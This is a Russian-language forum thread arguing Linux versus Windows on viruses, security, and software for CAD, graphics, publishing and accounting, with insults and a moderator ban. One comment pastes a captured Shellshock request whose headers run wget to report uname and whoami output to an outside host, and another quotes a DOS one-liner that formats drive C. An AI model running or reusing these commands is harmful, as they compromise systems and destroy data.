вы папе раскажите о стратегическом мышлении воспитываемом подобными играми. А про куцие огрызки тактического я по своему сыну скажу, до сих пор ребятеныш не понимает простой истины-в войне выиграл не тот кто быстрее всех застрелил а кто выжил, а подобные игры с привычным бессмертием для даже малойтактической группы смерть, я так понимаю от армии вы успешно откосили, так поспрашивайте тех кто хотя бы просто отслужил и в курсе что такое сопка ваша сопка наша, если же повезет нарваться на расказ тех кто реально воевал по пьяне (на трезву голову об этом те кто воевал не говорят) вы будете сильно удивлены несоответствием игры и реальностит.

Да и если где то будете умничать про помощь в обучении то говорите не о контр страйке а хотя бы о чешских симуляторах, там хоть учет какой никакой балистики есть, ну и после пробежки на 30 метров дыхание не как у спящего человека учитывается

Аватар пользователя Random
Random(2 года 1 месяц)(19:29:00 / 24-10-2015)

"в боевой обстановке?"

вы  прикалываетесь?!

это в какой из спец. операций понадобилась подготовка на CS?

Аватар пользователя vlad02
vlad02(2 года 3 недели)(13:00:34 / 24-10-2015)

Да и маленькое примечание - от 10 до 80% ресурсов машины под борьбу с вирусами- на мой взгляд месье знает толк в извращениях. Ведь в критикуемом вами линуксе этого нет(увы?) и не будет, просто из-за особенностей реализации системы.

И да облачные вычисления - это ЧАСТНЫЙ случай терминальных режимов работы, под которые и заточены UNIX подобные системы.

PS о звуке - там что то о редакторах? А на чем вы его слушаете то? креативные драйвера с XP скончались , а реалтек это ВАШЕ все, нормального звука на нем просто НЕТ есть mp3 ужастик. Ну да вам не привыкать объедки пиром называть.

PPS Вот же столько написал а главное забылwink итак главное что раздичает линь от вынь это ...

пабам ЛИЦЕНЗИЯ и права использования.

На вынь все за бабло

На линь за бабло работа а сделаное всем и бесплатно

Вот он камень преткновенения о который и бьются корабли производителей ПЛАТНОГО софта, и не важно чего игры там или советник по выращиванию органов размножения с 3d моделированием оного, именно на требовании лицензии линя отдать после разработки даже исходные коды по требованию желающих и ломаются борцы за победу выня.

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(13:00:51 / 24-10-2015)

>Да и маленькое примечание - от 10 до 80% ресурсов машины под борьбу с вирусами- на мой взгляд месье знает толк в извращениях. Ведь в критикуемом вами линуксе этого нет(увы?) и не будет, просто из-за особенностей реализации системы.

линукс здесь в положении неуловимого джо, так что не стоит верить в то, что на линуксе нет вирусов из-за реализации системы, просто вирусописателям он не интересен.

Аватар пользователя vlad02
vlad02(2 года 3 недели)(13:37:06 / 24-10-2015)

Не стоит столь ЯВНО демонстрировать свое невежество.

Линукс изначально устойчив к вирусописателям, и вовсе не от их якобы малого количества(уродов хватает везде) а особенностями реализации и работы. Та же высокая защищенность виста последовавших систем стала такой благодаря простому уменьшению прав у административной записи пользователя по умолчанию-то что в линуксе было ВСЕГДА, как и огнезащитная стена в явном виде выведенная только в 3м сервиспаке хрюши-а уж сколько тогда воплей по этому поводу было.

самый тупой вирус под ms dos мной ради прикола был написан на 3м уроке информатике и выглядел так  @echo y | format c:  , только вот на линуксе подобное чудо не пойдет-есть такое понятие как уровень привелегий, и баранам права гендиректора не дают, а если дали то это проблемы давшего а не системы.

Кстати за все время существования линукса на все его варианты количество вирусов не превысило сотни в общем зачете - вы все еще утверждаете про неуловимого Джо?

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(14:57:54 / 24-10-2015)

мечтайте дальше:)

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(15:04:13 / 24-10-2015)

кстати прочитайте, про "неуловимого джо", а то судя по всему вы не поняли о чем идет речь

Аватар пользователя vlad02
vlad02(2 года 3 недели)(16:02:48 / 24-10-2015)

Детка если папа на твой анекдот про джо которого никто не ловит скажет что он устарел как говно мамонта(в современном слэнге это называется баян-кстати посмотри в чем он связан с тещей) то я не удивлюсь ибо слышал этот анекдот еще в прошлом тысячелетии лет так за 20 до его наступления. Не пытайся казатся умным когда рядом люди которые ЗНАЮТ как это работает, только обгадишься

И да продолжай мечтать о стаде вирусописателей, можешь и сам циску поломать, тебе же много не надо попроси соседа камень к палке привязать, сам то ведь топ мачтовый узел от булиня не отличишь

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(20:35:39 / 24-10-2015)

ваш тон и переход на личности, выдают в вас школьника, тогда понятен ваш пыл неофита познакомившегося с линукс. система хорошая, думаю за ней будущее, но тогда же появится и интерес вирусописателей, и ограничение прав пользователей не спасет, как и другие меры, потому что все программы пишутся людьми, а люди делают ошибки, большинство из них безвредные, какие то приводят к краху системы, а какие то позволяют повысить права в системе. вообще тема интересная, вам стоит с ней ознакомится.

Аватар пользователя vlad02
vlad02(2 года 3 недели)(22:43:53 / 24-10-2015)

Господи ну откуда берутся такие идиоты, которые не имея ни малейшего представления о вопросе лезут учить, да еще и ярлыки вешают а? Детка я в этой сфере забыл больше чем ты когда либо узнаешь, работа знаешь ли обязывает.

Наверно подобным дебилом легко живется да? На винде только сейчас работающих вирусов(минусуются старые и относящиеся к другим версиям) свыше 10 МИЛИОНОВ, не считая разновидности и клоны сушествующих, на линуксе за всю историю его существования меньше сотни и это чудо мне рассказывает-вот пойдут в линукс люди и оне как заведутся как напрыгут как полетят клочки по закоулочкам. Еще раз повторю-детка скажи наркотикам нет и выходи в реальность, тут  тебе не там. И вопрос не в коде который пишут люди, количество ошибок для линукса и для виндоуса на количество строк кода примерно совпадает. дело в такой страшной вещи как ПАРАДИГМА системы.

Основа винды бизнес ТРЕБУЮЩИЙ ненадежности и увеличения пожирания системных ресурсов жри все что дают, делай здесь и сейчас все и во всем, и не смей ничего менять в сделаном другими-что приводит к деградации системы и позволяет развиваться вирусам, люникс же идет от другого мероприятия лучше меньше да лучше , если сам не смог тебе помогут исправить ошибку те кто её найдут.

Для дебильных деток-прежде чем клеить ярлыки причтите хотя бы тексты лицензий на проприетарные продукты и на гну разработки, может и дойдет что то, хотя я уже сомневаюсь.

да конкретно в отношении лица пытающегося оппонировать сомнений нет-это диагноз а не спорадическая ошибка

И еще одно - тон соответствующий - привык хамить(даже замаскировано) привыкни что часто приходится идти проторенным сэксуальным маршрутом, люди они знаешь на подобное подобным отвечают.

Аватар пользователя ®man
®man(3 года 8 месяцев)(22:57:54 / 24-10-2015)

я не стал комментировать ваш бессвязный поток сознания по причине его невменяемости. но вижу вы не просто невменяемы, вы еще и хамло. я вас забаню на месяцок, хорошо.

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(23:02:13 / 24-10-2015)

когда подрастете, вы может быть научитесь вести дискуссии, так же можете потратить это время на ознакомление с темой, полезно будет

Аватар пользователя progserega
progserega(5 лет 3 месяца)(06:05:18 / 25-10-2015)

Позволю себе прокомментировать популярный тезис о вирусах на линуксе:
 "Вирусов на линуксе нет, потому что он не популярен как винда".

Как выясняется на практике - очень сложно донести реальное положение вещей до людей, которые являются постоянными пользователями виндоуз. Я своему начальнику это объяснял несколько раз. Каждый раз он понимал, потом забывал, потом опять задавал тот же вопрос.

Суть не в том, что вирус нельзя написать под линукс. Без проблем и легко. И даже не столько в том, что прав доступа нет - можно повысить локально - пример тот же андроид (на телефонах не так часто обновляется ядро и закрываются найденные уязвимости), который на ядре линукса. Да, это значительно сложнее, чем на винде, но тем не менее можно. Суть же основной сложности развития вирусов на платформе линукс в способе распространения ПО на этой платформе:

  1. Каждый дистрибутив привязан к определённым репозитариями ПО.
  2. Репозитарии подписаны GPG-ключами (электронная подпись), каждый пакет имеет посчитанную хэш-сумму. В результате скачивая бинарный пакет с какого-либо зеркала в сети - вы точно получаете неизменённый пакет от производителя.
  3. всё ПО ставится только системным администратором системы. ПО ставится из вышеописанных репозитариев. Ставится локальной командой (утилитой командной строки или графическим приложением центра приложений) - по-умолчанию пользователю не нужно искать ПО в интернете и скачивать его оттуда.
  4. с флешек и cd-дисков НИЧЕГО в принципе не запускается автоматом. От слова совсем.
  5. Бинарник или bash-скрипт, присланный по почте не запустить по двойному клику. Потому что в GNU\Linux разрешение файла не несёт большой смысловой нагрузки. Анализируются права доступа (свойство ФС) или содержимое файла. Поэтому бинарному файлу приложения сложно притвориться картинкой.
  6. Как следствие - ПО не скачивается "откуда-то из интернета" с каких-то непонятных сайтов, не скачивается и не запускается ворох каких-то кей-генов и т.п. непонятно чего, что зачастую содержит вирусный код, который запускается под админскими правами пользователя, потому что без админских прав на винде не всё ПО работает (спасибо методикам написания ПО с ms-dos и MS Windows 9x).

С учётом разграничения прав (разумного, заложенного в саму суть системы), когда пользователю для работы в принципе не нужны права администратора системы, крайней сложности повышения прав до администратора системы, неработающей логики "картинка.jpg             .exe", надёжной системы распространения ПО через подписанные репозитарии  - получаем систему, в которой практически неоткуда появиться вирусам.

Но при этом, при желании у себя на ПК/сервере, имея админские права можно сделать всё что угодно - в пару строк скрипта/команд снести систему, заразить все файлы самописным вирусом. Вопрос в том, как это перенести на другие системы, где нет таких прав. Конечно, подобрав пароль админа, имея доступ по сети - скачиваем троян, прописываем в автозагрузку и т.д. и т.п. Но нужен админский доступ в систему которого нет. Да, бывают сообщения о простых рутовых паролях, о неверной настройке фаервола на коробочках, в следствии чего web-админка с простым рутовым паролем смотрела в интернет, но это всё частные ошибки конкретных интеграторов/админов. 

Мы же говорим о надёжности системы как таковой. О её подверженности или нет вирусным заражениям в автоматическом режиме и массово. На линуксе это если не невозможно в принципе, то КРАЙНЕ затруднено. В результате массовость заражения не получить.

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(12:23:51 / 25-10-2015)

вы хотя бы всю ветку комментариев прочитайте, прежде чем комментировать

Аватар пользователя joho
joho(4 года 1 месяц)(00:26:08 / 01-11-2015)

и само скачивается, и само запускается, и само эскалацию привелегий делает и сайты тырит

 

..User-Agent
	0x0060:  3a20 2829 207b 203a 3b20 7d3b 202f 7573  :.().{.:;.};./us
	0x0070:  722f 6269 6e2f 7767 6574 202d 714f 202d  r/bin/wget.-qO.-
	0x0080:  2068 7474 703a 2f2f 782e 7361 7564 692e  .http://x.saudi.
	0x0090:  7375 3a34 3034 2f67 6174 652e 6173 703f  su:404/gate.asp?
	0x00a0:  696e 666f 2d60 756e 616d 6560 2d60 756e  info-`uname`-`un
	0x00b0:  616d 6520 2d70 602d 6077 686f 616d 6960  ame.-p`-`whoami`
	0x00c0:  2d60 7767 6574 202d 5520 6375 726c 202d  -`wget.-U.curl.-
	0x00d0:  714f 2d20 6966 636f 6e66 6967 2e6d 6560  qO-.ifconfig.me`
	0x00e0:  200d 0a48 6f73 743a 2028 2920 7b20 3a3b  ...Host:.().{.:;
	0x00f0:  207d 3b20 2f75 7372 2f62 696e 2f77 6765  .};./usr/bin/wge
	0x0100:  7420 2d71 4f20 2d20 6874 7470 3a2f 2f78  t.-qO.-.http://x
	0x0110:  2e73 6175 6469 2e73 753a 3430 342f 6761  .saudi.su:404/ga
	0x0120:  7465 2e61 7370 3f69 6e66 6f2d 6075 6e61  te.asp?info-`una
	0x0130:  6d65 602d 6075 6e61 6d65 202d 7060 2d60  me`-`uname.-p`-`
	0x0140:  7768 6f61 6d69 602d 6077 6765 7420 2d55  whoami`-`wget.-U
	0x0150:  2063 7572 6c20 2d71 4f2d 2069 6663 6f6e  .curl.-qO-.ifcon
	0x0160:  6669 672e 6d65 6020 0d0a 5265 6665 7265  fig.me`
Аватар пользователя progserega
progserega(5 лет 3 месяца)(05:12:32 / 01-11-2015)

Уязвимости из-за ошибок бывают.

Есть сложные системы на 100% очищенные от ошибок?

Аватар пользователя TEvg
TEvg(2 года 10 месяцев)(16:13:33 / 24-10-2015)

На лине есть очень важные системы. Серваки и прочая. Совсем совсем никому не надо это поломать?

Комментарий администрации:  
*** Отчислен ***
Аватар пользователя rst0
rst0(5 лет 10 месяцев)(20:27:48 / 24-10-2015)

ну так и ломают, как и виндовые, но это узкоспециальный интерес, например для внедрения эксплойтов для клиентских машин работающих под виндой:)

Аватар пользователя vlad02
vlad02(2 года 3 недели)(22:25:48 / 24-10-2015)

Как говорят в таких случаях адекватные люди приведите хоть один реальный пример а не гоните волну. Ваше хочу не ровняется есть. В общем мой совет мальчик скажи наркотикам нет

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(23:00:00 / 24-10-2015)

ну со школьниками спорить бессмысленно, так что живите дальше:)

Аватар пользователя rst0
rst0(5 лет 10 месяцев)(12:56:05 / 24-10-2015)

софт для оборудования, тут система не важна, под что напишут, то и поставят, в большинстве это будет винда, сила привычки. спецсофт, тут больше руководствуются распространенностью системы и легаси, то есть подо что начали писать, под то и продолжают, если распространенной станет альтернативная система, то этот софт умрет. и самое главное, бытовой уровень, тот который влияет на предыдущие два, на нем важно что, доступ в интернет, с этим сейчас нет разницы бежду системами, и игры, где будет больше игр, та система и будет распространенной, и здесь линукс наступает, стим кстати поощряет выпуск игр под линукс, даже SteamOS на базе линукса выпустил. А какой внешний вид, как конфигурируется система, это все вторично.

Аватар пользователя Nicetas
Nicetas(2 года 1 месяц)(14:03:35 / 24-10-2015)

«Существует линуксовый софт для работы с томографом?»
Следует различать компьютер-консоль (не командная строка, там графический интерфейс, это термин такой) управления аппаратом для проведения исследования, и рабочую станцию для просмотра изображений. Первые есть и с nix-системами, например точно помню Redhat на консоли томографа GE. Вторые обычно с Windows или MacOS.
Врачам обычно неважно, какая система на всём этом, они компьютерные нюансы не любят. Выбор тут обусловлен решением производителя в зависимости от задач (надёжность, совместимость и т.д.). Выигрываем в одном, проигрываем в другом. Без споров, что лучше, каждое хорошо по-своему. Всё равно своим же сервисным инженерам возиться с этим, а не пользователям. Для пользователей это рабочий инструмент, для сервисных инженеров это работа, которую они выбрали.

И так во всём. Какой комплекс лучше решает задачу, такой и хорош. Связки ОС+программа могут быть самые разные. Главное не забывать, что для пользователей это рабочий инструмент, а для инженеров это их работа. Дискуссии обычно начинаются, когда из-за непродуманной схемы работы пользователей пытаются заставить стать также и инженерами или инженеров — пользователями. Это трудно, так как грань очень тонкая, следует всегда помнить об этом и ловить себя на том, что иной раз нельзя требовать от человека отвлекаться от своей основной работы на технические нюансы it-решения или наоборот на чужую работу от технических задач.

Можно было бы упрекнуть такой подход за призыв к узкой специализации. Реалии таковы, что в it специализации и так уже достаточно узки, чтобы этот подход что-то ещё сузил. Главная цель — минимизировать профессиональную деформацию. Чем больше человек имеет дело с компьютерами, тем больше он вынужден подгонять свой образ мыслей под компьютер, тем больше он начинает сам думать, как компьютер, то есть — примитивно-прагматично. Не нужно заставлять тех, кто использует софт, как инструмент, углубляться в технические нюансы, а для тех, кто по долгу службы вынужден это делать, нужно, вследствие воздействия этих нюансов на мышление, организовывать соответствующий досуг (активный отдых, культурное просвещение).

Разумеется, что программно-аппаратное решение, позволяющее человеку, для которого оно эффективный рабочий инструмент, не вникать в технические нюансы и не портить мышление, не компьютеризировать его — стоит очень дорого. Над его созданием долго и упорно работали люди и они заслуживают щедрой награды и всяческого поощрения.

Аватар пользователя Александр Владимирович Пешков

Всё что написано ниже не является словами в защиту венды.

Я так понимаю, что это именно защита Вашей точки зрения. Если не возражаете, то я разберу её.

Шизофрения пользовательского интерфейса в 10-ой версии виндовс вызывают у меня не только недоумение, но и дикую злобу, а всем разработчикам этой «прекрасной» операционной системы хочется пожелать, чтобы их оставшаяся жизнь была наполнена такой же прелестью и очарованием какие они устроили в своём творении.

Что же вы нашли такого шизофренического? Чем-то обосновываете? Кстати, в свободных ОС пользовательский интерфейс не прибит гвоздями к остальному коду. Но, как показывает моя практика, любители комбайнов и «готовых продуктов» не в состоянии оценить элегантность индивидуальной эргономики — они просто мыслят иначе, потребительски.

Что «всё» может линукс?

Что вообще может делать линукс в отрыве от человека?

Ну, конкретно в Linux (т.е. в ядре операционной системы) имеется достаточно автоматики, чтобы решать кое-какие задачи без участия пользователя от слова совсем, среди таких задач:

  • распределение машинного времени (планировщик задач) и памяти (диспетчер памяти) между программами;
  • организация и распределение каналов ввода-вывода;
  • обеспечение слоя абстракции оборудования;
  • распределение прав между пользователями и процессами;
  • обработка прерываний и синхронизация оборудования и программ;
  • организация файловых систем и сетевая маршрутизация.

Видите, сколько всего может ядро.

Архитектура ядра Linux и карта

Какие типичные задачи ставит перед компьютером человек? Что вообще нужно человеку?

Техника-то вычислительная. Нужно вычислять. Это же очевидно. Остальное — это производная.

Начнём с того, что автор стыдливо (пѝнгвинам это свойственно))) вынес за скобки:

Всё он правильно сделал. Есть оборудование, которое Windows не поддерживает. Например, ядро Linux запускается на 8-разрядных микроконтроллерах. Исключениям место в исключениях.

где M$ + 1С — де-факто стандарт. Но стоит там не обычная пользовательская венда, а XP Embedded

Это вовсе не обязательно. Часто видел терминалы и на Ubuntu.

Существует линуксовый софт для работы с томографом?

Разумеется, существует. Вот тот софт, который есть в репозитории моего дистрибутива для манипуляции с файлами в формате DICOM, используемом томографами. Я просто напомню, что Ваша неосведомлённость не может быть аргументом в дискуссии.

Существует ли линуксовый софт способный заменить всё ПО на кондитерской фабрике?

А существует ли софт под Windows, способный заменить весь софт на БАК? В будущем воздержитесь от вопросов, показывающих Вас дураком!

то для работы и обслуживания этой железки в 99% венда безальтернативна

Ещё раз: Ваша неосведомлённость не может быть аргументом в дискуссии.

Т.е. отметая спецоборудование и обслуживающие его терминалы и рабочие станции, автор тем самым неосознанно сужает круг возможного использования *nix платформы, при чём очень существенно.

Здесь Вы выдаёте Ваши фантазии за действительность.

Хотя этому конечно есть альтернатива, можно сеять пшеницу руками, строить мельницы и ездить на лошадиных повозках. Книги печатать старым дедовским способом. А вот с медициной придётся туго.

Стыдно должно быть на АШ использовать так грубо приём демагога с ошибкой причинно-следственной связи.

OrCAD,

Вспомнили про EDA? Так я Вам напомню, что есть ADS и продукты Mentor Graphics, которые также выпускаются под GNU/Linux, а есть продукция монстра в EDA — Cadence, у которой (вот же сюрприз) продукция представлена под GNU/Linux даже шире.

AutoCad и ArchiCAD, Компас (отечественный)

А есть и более крупные монстры: NX и ANSYS, которые под GNU/Linux вполне себе выпускаются. И снова: Ваша неосведомлённость не может быть аргументом в дискуссии.

Дальше разбирать будем?

Аватар пользователя ®man
®man(3 года 8 месяцев)(17:18:01 / 24-10-2015)

Я так понимаю, что это именно защита Вашей точки зрения.

предельно критичный настрой статьи в отношении радикальных линуксоидов позволил отсечь множество пустых оголделых комментариев и избежать бессмысленного холивара.

предметность статьи спровоцировала/сподвигла (кому как угодно) немногих, но действительно заинтересовавшихся камрадов, написать не менее предметные комментарии и натыкать меня носом в моё невежество. за что я им и вам благодарен. если вы сравните уровень обсуждения этой статьи и предыдущий, вы заметите разницу.

Что же вы нашли такого шизофренического? 

как я уже сказал, шизофриния присутствует в пользовательском интерфейсе. т.е. сценария взаимодействия пользователя и системы

раздвоение личности у венды началось с выходом 8-ки, но если в 8.1 еще можно работать и вообще не видеть плиточного "интерфейса" у которого другая логика, а соответственно и другой UX, то в 10-ке это уже невозможно. там всё смешалось, кони, люди... т.е. работа непосредственно с системой стала требовать ломки некоторых парадигм в сценариях взаимодействия. надо полагать это переходный период, поскольку и аппаратные интерфейсы так же претерпели существенное изменение в последние годы

Техника-то вычислительная. Нужно вычислять

кто определяет что необходимо вычислять?

А существует ли софт под Windows, способный заменить весь софт на БАК? В будущем воздержитесь от вопросов, показывающих Вас дураком!

ничего подобного из предыдущего обсуждения никто не вынес. вы считаете подобные вопросы неуместными?

Стыдно должно быть на АШ использовать так грубо приём демагога с ошибкой причинно-следственной связи.

а утверждение «линукс может всё...» не приём демагога?

ну и по части САПРа конечно огромное вам спасибо. еще интересен вопрос насколько эти приложения позволяют работать в команде.

Дальше разбирать будем?

да )) конечно. только вопрос, заданный в статье, дополненный и расширенный комментариями камрадов в обсуждении, носит в меньшей степени технический характер. и эта тема уже для отдельной статьи.

Аватар пользователя Александр Владимирович Пешков

если вы сравните уровень обсуждения этой статьи и предыдущий, вы заметите разницу.

 Заметил, спасибо.

за что я им и вам благодарен

Вы прямо обезоруживаете меня.

плиточного "интерфейса" у которого другая логика, а соответственно и другой UX, то в 10-ке это уже невозможно. там всё смешалось, кони, люди... т.е. работа непосредственно с системой стала требовать ломки некоторых парадигм в сценариях взаимодействия. надо полагать это переходный период, поскольку и аппаратные интерфейсы так же претерпели существенное изменение в последние годы

Причина, на мой персональный взгляд лишь в том, что нужно было продать новую версию Windows. Из этого и проистекают все метания с пользовательским интерфейсом. Просто экспансия Microsoft на устройства пользователей столкнулась с насыщением рынка ещё в начале века, когда рынок ПК рос так быстро, что свежевыпущенной версии Windows сразу доставалась доля рынка даже если отличия носили лишь косметический характер. Теперь пытаются впихнуть, следуя модным тенденциям. Но это исключительно моё впечатление.

кто определяет что необходимо вычислять?

На работе, преимущественно, начальник мой. А в остальном я определяю. Полагаю, что не ошибусь, предположив, что с Вами то же самое.

вы считаете подобные вопросы неуместными?

Абсолютно, совершенно неуместными. Более того, я уверен, что если заморочиться и составить перечень всего ПО с его лицензиями, используемого, например, конкретной поликлиникой, то выйдет сборная солянка, среди которой доля СПО будет отнюдь не исчезающе малой, поскольку в достатке имеется конкретных продуктов в железе, программах или онлайн-услугах, где используется свободный код хотябы в виде библиотек. Я так считаю. Более того, я саму постановку вопроса вижу некорректной. В мировой хозяйственной деятельности нашлось место и собственническому ПО и свободному, я считаю, что относительно хозяйственной деятельности и практического применения диалектики свободное—собственническое нет. А как инженер могу дополнить, что вопрос про «заменить» имеет смысл только тогда, когда есть причина и ожидаемый профит. Т.е. сначала отвечаем на вопрос «зачем», а уже потом ищем, чем заменять.

еще интересен вопрос насколько эти приложения позволяют работать в команде.

Ну, а не знаю даже. Авиастроительный концерн, на котором применяется NX, считается за команду?

ну и по части САПРа конечно огромное вам спасибо

Пожалуйста! Всего не можно знать. Если работаешь в какой-то области, то есть шанс в ней ориентироваться начать. Я, например, для работы радиоинженером уже четыре года не имею необходимости использовать собственническое ПО. Свободного хватает.

да )) конечно.

Извольте!

3D – архитекторы и промышленные дизайнеры, киноиндустрия и игроделы.

Есть ряд студий, которые используют СПО (в т.ч. GNU/Linux) для производства анимационных фильмов. Более того, наличествуют студии, использующие преимущественно или исключительно СПО. К тому же, есть отдельные анимационные фильмы, которые изготовлены свободными с использованием СПО: Big Buck Bunny, Sintel, Elephant's Dream. Так что я очень серьёзно сомневаюсь в беспомощности СПО в данном применении.

Графические редакторы и издательские пакеты – начиная от книг и заканчивая обёрткой туалетной бумаги стоящей на полках супермаркета, да и все другие упаковки... А также практически вся визуальная информация...

Есть у меня вот такое мнение. За растровую графику скажу, что GIMP умеет править выделенную областьв любой момент, а PS CS 5 ещё не умел, также приятные инструменты как TextureResynthesizer (автоматическое заполнение заднего плана с подгонкой текстуры по шаблону) и LiquidRescale (изменение отношения сторон заднего плана), насколько я знаю, появились в GIMP чуть раньше, чем в PS. За векторный редактор Inkscape, которым я пользуюсь для рисования эскизов скажу, что по сравнению с Adobe Illustrator есть там очень годный движок контурных эффектов, удобная композитная модель, более ранее появление (насколько помню, то лет на пять раньше) правки градиентов на холсте. Так что мазню на пачки с пельменями есть делать в чём. Есть ребята, которые используют Inkscape, есть достойные работы в GIMP. Пишутся книги, проводятся конференции.

За издательские системы скажу Вам, что исторически, скорее всего, самой совершенной системой компьютерного набора является свободный TeX и его потомки. Вот, собственно, пример. Система кроссплатформенная, но собирать и интегрировать легче, тем, где есть репозиторий с пакетами. Книги и журналы (которые не порно) есть, чем набрать.

недоредактора

Очень спорный вопрос, кое-что эти «недоредакторы» умеют лучше.

Видео и аудио редакторы – так же, как и в случае с графическими пакетами, всё, что вы видите и слышите по телевизору и в кинотеатрах на радио и в леере, всё это сделано далеко не на линуксе.

Другие комментаторы уже поясняли, но если вдруг забыли, то есть ещё LWKS, который теперь есть для GNU/Linux. За звук не скажу, но на LORе наличествуют практикующие музыканты, положительно отзывающиеся об используемом ими СПО.

Бухгалтерия и документооборот – 1С и МС Офис.

1C же вроде выпускается под GNU/Linux?

вы уверены, что LibreOffice способен вытянуть тот объём документооборота и заменить пакет от ненавистного микрософта в «пенсионном фонде» в среднестатистическом российском городе-милионнике, сходите и посмотрите на чём там работают.

Ну, как тебе сказать? Вот у меня супруга работает в банке. И там внутренний документооборот построен на ODF и OpenOffice. Так что в способности работать с ODF через коммерческий Lotus (кроссплатформенный) или LibreOffice я уверен и даже не удивлюсь, если такое применяется. Тем более, что широко известны случаи внедрения в госструктурах у нас и за рубежом.

Про MS Project говорить не будем

Вот про это информацией не владею, но смею заметить, что многие даже крупные проекты СПО развивается с применением СПО, в том числе и для управления проектами.

Заведите на линуксе то, что сегодня в топе.

Но первую же ссылку портируют. Хотя я и не одобряю это времяпрепровождение и, соответственно, не интересуюсь.

в котором полторы игры портированы на СтимОС

Три тысячи тридцать три сильно отличается от полутора. Но не скажу, чтобы много.

да и просто программисты, пишущие софт для платформы, которая занимает 90% рынка, в этом месте негодуют

Разумеется негодуют. Ведь они не достаточно искусны, чтобы писать кроссплатформенное ПО. Ну, а если серьёзно, то они негодуют часто по очень любопытному вопросу: они хотели бы использовать качественные и удобные с их точки зрения свободные библиотеки, но часто лицензия на эти библиотеки противоречит техническому заданию их работодателя и по совместительству собственника написанного программистами кода. Программист пишет по техническому заданию, как оговорено — (примерно) так и будет написано.

Существует ли вменяемые средства разработки под венду не под вендой?

Да. Есть mingw, есть библиотеки gtk+ и qt, есть кроссплатформенные среды вроде code::blocks. У меня на работе программист пишет прикладное ПО в code::blocks и собирает через GNU toolchain. Сам. Его никто не заставлял. Использует Windows, кстати.

Это как раз вопрос ограничения самого линукса и ему подобных систем, ибо доля их настолько мала, а как многие (на ресурсе) знают из экономических статей и выкладок – всё, что колеблется в пределах 3%  – вполне можно считать статистической погрешностью.

Ну, доля разная бывает. А интернет-серверах так поболе половины будет, на суперкомпьютерах доля GNU/Linux приближается к 100%.

И вот мне чисто интересно, а интерфейс линукса (ну эскизики там, концепции всякие) в чём по-вашему рисуется? ))

Я полагаю, что кто в чём предпочитает, посмотрел на картинки, которые входят в поставку KDE4 — большинство нарисовано в Inkscape.

Безопасность в потребительских линуксах отсутствует как класс.

Один пример – гуглоандроид.

Это, похоже единственный пример. Да в добавок ещё и уязвимости находят не в той части Андройда, которая Linux. Не прокатило тут. А между тем есть вполне пользовательские дистрибутивы GNU/Linux (а не андройд), регулярно проходящие сертификацию ФСТЭК.

 в качестве ОС – подобие линукса

Именно, что подобия, а не GNU/Linux. Стучит-то там то, что производитель конечного изделия дописал сам. Тоже засчитать нельзя.

А подразумевается (автор надеется), что люди будут использовать линукс на бытовом уровне в домашних условиях, но что им нужно на этом бытовом уровне, он опять же забыл (или постеснялся, что свойственно пингвинам) уточнить. Как и забыл уточнить, что в массе своей современный пользователь не просто компьютерно малограмотен, он просто туп как пробка.

Именно по этой причине у моих тестя и тёщи уже года четыре стоит на их домашнем ПК Debian 6, к которому я по случаю прихода в гости ставлю обновления. С тех пор, как поставил, настроил и показал, как пользоваться, не знаю бед просто никаких.

Ничевошеньки он не знает про библиотеки и скрипты, так же, как и про консоль.

Ну, так то и колёса прикрутить не всякий автолюбитель может же.

Если линуксоиды думают, что они самые умные, а пользователю, прежде чем садится за сложную вычислительную технику

Нет, не обязательно. Достаточно инструкции. А вот чтоб мнение иметь, тут хотя бы матчасть знать-то нужно. Не согласны?

Заодно, по пути, пускай расскажут мастеру установки дверей и окон как избежать вертолёта при монтаже изделий.

А ты ещё системного администратора спроси, имеет ли он представление о дискретной математике или теории автоматического управления.

Остальное комментировать?

Аватар пользователя Abgeschmiert
Abgeschmiert(2 года 2 недели)(16:51:55 / 31-10-2015)

да, как раз хотел эту картинку этому нубу запостить.

только ваша мелкая,он ее не в состоянии прочитать.

а про осилить и речи нет)

Аватар пользователя timka05
timka05(4 года 2 месяца)(14:04:51 / 25-10-2015)

0. В основе почти любого роутера - Линукс, телефон на андроиде - основа - Линукс, МакОС, iOS - нутро корнями - Линукс, Смарт-ТВ - основа - Линукс.

1. САПР под Линукс: QCad - http://www.qcad.org/en/ - последняя версия от 2015 года, LibreCAD - http://librecad.org/ последняя версия от 2015 года, BRL-CAD - http://brlcad.org/ разработка 1984 года, использовался Баллистической Научно-исследовательской Лабораторией армии США, последняя версия от 2014 года и т.д. Компас 3D - нативного под Линукс нет, но работает в Wine под Линукс. Про качество эмих САПР не скажу, не специалист в этой области.

Издательские системы - Scribus, http://www.scribus.net/, последняя версия 2015 год,
Математический пакет - Mathematica, http://www.wolfram.com/mathematica/

2. 3D - Maya, Blender, V-Ray (рендеринг) есть под Линукс

3. Графические редакторы - векторные Inkspace - https://inkscape.org, последняя версия 2015 год, растровый - GIMP http://www.gimp.org/, последняя версия 2014 год.

Видеомонтаж - Lightworks, http://www.lwks.com/ 

4.Системы учета финансов и документооборот - 1С уже работает под Линукс, как серверная часть, так и клиентская. http://v8.1c.ru/overview/Term_000000666.htm В том числе и под бесплатной СУБД по Линукс - PosgreSQL. LibreOffice - ну не знаю, мою организацию под 1000 человек численностью весьма спасает.

5. Среда разработки - QT, http://www.qt.io/ - в том числе и разработка для Win под Линукс. Ну и дальше списком: Code::Blocks, Eclipse, NetBeans. Отлично все работает, моя область :) QT - так вообще хорош во всех отношениях.

Короче остальное перечислять лень уже

Аватар пользователя NewsAnalizer
NewsAnalizer(2 года 10 месяцев)(11:25:50 / 26-10-2015)

Почитал автора, почитал камменты ... Автор прав.

